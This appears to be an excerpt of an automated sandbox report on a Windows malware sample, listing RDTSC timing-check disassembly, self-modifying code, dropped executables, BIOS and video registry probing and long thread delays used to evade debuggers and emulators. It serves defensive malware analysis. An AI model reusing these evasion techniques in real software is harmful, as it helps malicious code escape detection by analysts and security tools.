Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD043C second address: 4CD0440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0440 second address: 4CD0451 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07D8 second address: 4CC07DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07DC second address: 4CC07E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07E0 second address: 4CC07E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07E6 second address: 4CC07EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07EC second address: 4CC07F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07F0 second address: 4CC0830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F2BE511B12Fh 0x00000012 sbb cx, 34AEh 0x00000017 jmp 00007F2BE511B139h 0x0000001c popfd 0x0000001d mov si, 1537h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0830 second address: 4CC0836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0836 second address: 4CC083A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC083A second address: 4CC0866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2BE511FAF4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0866 second address: 4CC0887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BE511B134h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0887 second address: 4CC08AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BE511FAF5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC08AF second address: 4CC08CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2BE511B130h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC08CF second address: 4CC093E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2BE511FAECh 0x00000009 adc al, FFFFFFD8h 0x0000000c jmp 00007F2BE511FAEBh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F2BE511FAEBh 0x0000001d jmp 00007F2BE511FAF3h 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007F2BE511FAF9h 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F2BE511FAEDh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC093E second address: 4CC09DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2BE511B137h 0x00000009 sbb si, CD0Eh 0x0000000e jmp 00007F2BE511B139h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push esp 0x00000018 jmp 00007F2BE511B12Ah 0x0000001d mov dword ptr [esp], esi 0x00000020 jmp 00007F2BE511B130h 0x00000025 mov esi, dword ptr [ebp+08h] 0x00000028 pushad 0x00000029 movzx eax, di 0x0000002c pushfd 0x0000002d jmp 00007F2BE511B133h 0x00000032 adc ax, 307Eh 0x00000037 jmp 00007F2BE511B139h 0x0000003c popfd 0x0000003d popad 0x0000003e sub ebx, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09DC second address: 4CC09E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09E2 second address: 4CC09F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511B12Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09F4 second address: 4CC09F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09F8 second address: 4CC0A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F2BE511B137h 0x0000000f je 00007F2C57370A9Bh 0x00000015 jmp 00007F2BE511B136h 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F2BE511B12Eh 0x00000028 sbb si, CF68h 0x0000002d jmp 00007F2BE511B12Bh 0x00000032 popfd 0x00000033 popad 0x00000034 mov ecx, esi 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F2BE511B12Bh 0x0000003d or ecx, 09238AAEh 0x00000043 jmp 00007F2BE511B139h 0x00000048 popfd 0x00000049 call 00007F2BE511B130h 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0A9F second address: 4CC0AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 je 00007F2C573753E4h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov di, 80BEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0AB2 second address: 4CC0AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0AB6 second address: 4CC0B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F2BE511FAF5h 0x0000000b mov edi, eax 0x0000000d pop ecx 0x0000000e popad 0x0000000f test byte ptr [76FA6968h], 00000002h 0x00000016 jmp 00007F2BE511FAF3h 0x0000001b jne 00007F2C573753ADh 0x00000021 jmp 00007F2BE511FAF6h 0x00000026 mov edx, dword ptr [ebp+0Ch] 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F2BE511FAF7h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0B27 second address: 4CC0B72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B139h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b call 00007F2BE511B12Ch 0x00000010 mov ch, CCh 0x00000012 pop ebx 0x00000013 mov esi, 2CFF5F33h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F2BE511B134h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0B72 second address: 4CC0B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0B78 second address: 4CC0B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0B7C second address: 4CC0BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F2BE511FAF9h 0x0000000e xchg eax, ebx 0x0000000f jmp 00007F2BE511FAEEh 0x00000014 push eax 0x00000015 pushad 0x00000016 mov cx, di 0x00000019 mov edx, 119C14E0h 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 jmp 00007F2BE511FAEFh 0x00000025 push dword ptr [ebp+14h] 0x00000028 pushad 0x00000029 mov bh, ch 0x0000002b push eax 0x0000002c push edx 0x0000002d call 00007F2BE511FAF7h 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0BE8 second address: 4CC0BF8 instructions: 0x00000000 rdtsc 0x00000002 mov di, AF9Ch 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0DD4 second address: 4CD0E0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2BE511FAF1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 call 00007F2BE511FAEAh 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0E0A second address: 4CD0E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511B12Eh 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0E25 second address: 4CD0E42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0BB8 second address: 4CD0BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0BBC second address: 4CD0BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0BC2 second address: 4CD0BEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 mov dx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007F2BE511B130h 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 movsx edi, ax 0x0000001a mov al, DDh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50BD1 second address: 4D50BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, dx 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov ax, di 0x00000015 mov ecx, ebx 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F2BE511FAECh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50BFE second address: 4D50C04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50C04 second address: 4D50C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E3D second address: 4D40E43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E43 second address: 4D40E62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E62 second address: 4D40E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E66 second address: 4D40E6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40CB9 second address: 4D40CC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40CC8 second address: 4D40CF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 call 00007F2BE511FAEBh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2BE511FAF5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00DE second address: 4CE00E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00E2 second address: 4CE00E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00E6 second address: 4CE00EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00EC second address: 4CE00F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 59EA2C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 76DFA3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7CFE13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A5EA2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C2DFA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C8FE13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Special instruction interceptor: First address: 118492E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Special instruction interceptor: First address: 11849EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Special instruction interceptor: First address: 131A979 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Special instruction interceptor: First address: 132BF50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Special instruction interceptor: First address: 1184934 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Special instruction interceptor: First address: EABB95 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Special instruction interceptor: First address: EA9022 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Special instruction interceptor: First address: 10D8B4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Special instruction interceptor: First address: 5EF79B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Special instruction interceptor: First address: 79BC58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Special instruction interceptor: First address: 79A7E0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Special instruction interceptor: First address: 79AF7D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Special instruction interceptor: First address: 5ED16A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Special instruction interceptor: First address: 822F5C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Special instruction interceptor: First address: 54C409 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Special instruction interceptor: First address: 578829 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Special instruction interceptor: First address: 3ADB79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Special instruction interceptor: First address: 3ADAE3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Special instruction interceptor: First address: 5EB93F instructions caused by: Self-modifying code

Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 13B0000 memory reserve \| memory write watch
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 1C1F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Memory allocated: 52A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Memory allocated: 56C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Memory allocated: 5420000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D5038F rdtsc

0_2_04D5038F

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 382000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 424000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 401000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 443000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 396000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 428000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1326	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1285	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1325	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1254	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1324	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window / User API: threadDelayed 8791	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Window / User API: threadDelayed 9681
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5956
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3869
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window / User API: threadDelayed 1228
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window / User API: threadDelayed 1155
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window / User API: threadDelayed 1187
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window / User API: threadDelayed 1249
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window / User API: threadDelayed 1207
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window / User API: threadDelayed 1141
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window / User API: threadDelayed 1212
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7322
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2292
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Window / User API: threadDelayed 693

Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\is-K9C20.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\PoisedCoyote.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-DTH22.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\is-HBCT4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-46S6P.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-46S6P.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-DTH22.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

API coverage: 3.6 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6036	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6036	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3536	Thread sleep count: 1326 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3536	Thread sleep time: -2653326s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3500	Thread sleep count: 260 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3500	Thread sleep time: -7800000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5780	Thread sleep count: 1285 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5780	Thread sleep time: -2571285s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7108	Thread sleep count: 1325 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7108	Thread sleep time: -2651325s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5356	Thread sleep count: 1254 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5356	Thread sleep time: -2509254s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6520	Thread sleep count: 1140 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6520	Thread sleep time: -2281140s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep count: 1324 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep time: -2649324s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5240	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 6348	Thread sleep count: 116 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 6348	Thread sleep time: -232116s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 2228	Thread sleep count: 129 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 2228	Thread sleep time: -258129s >= -30000s	Jump to behavior
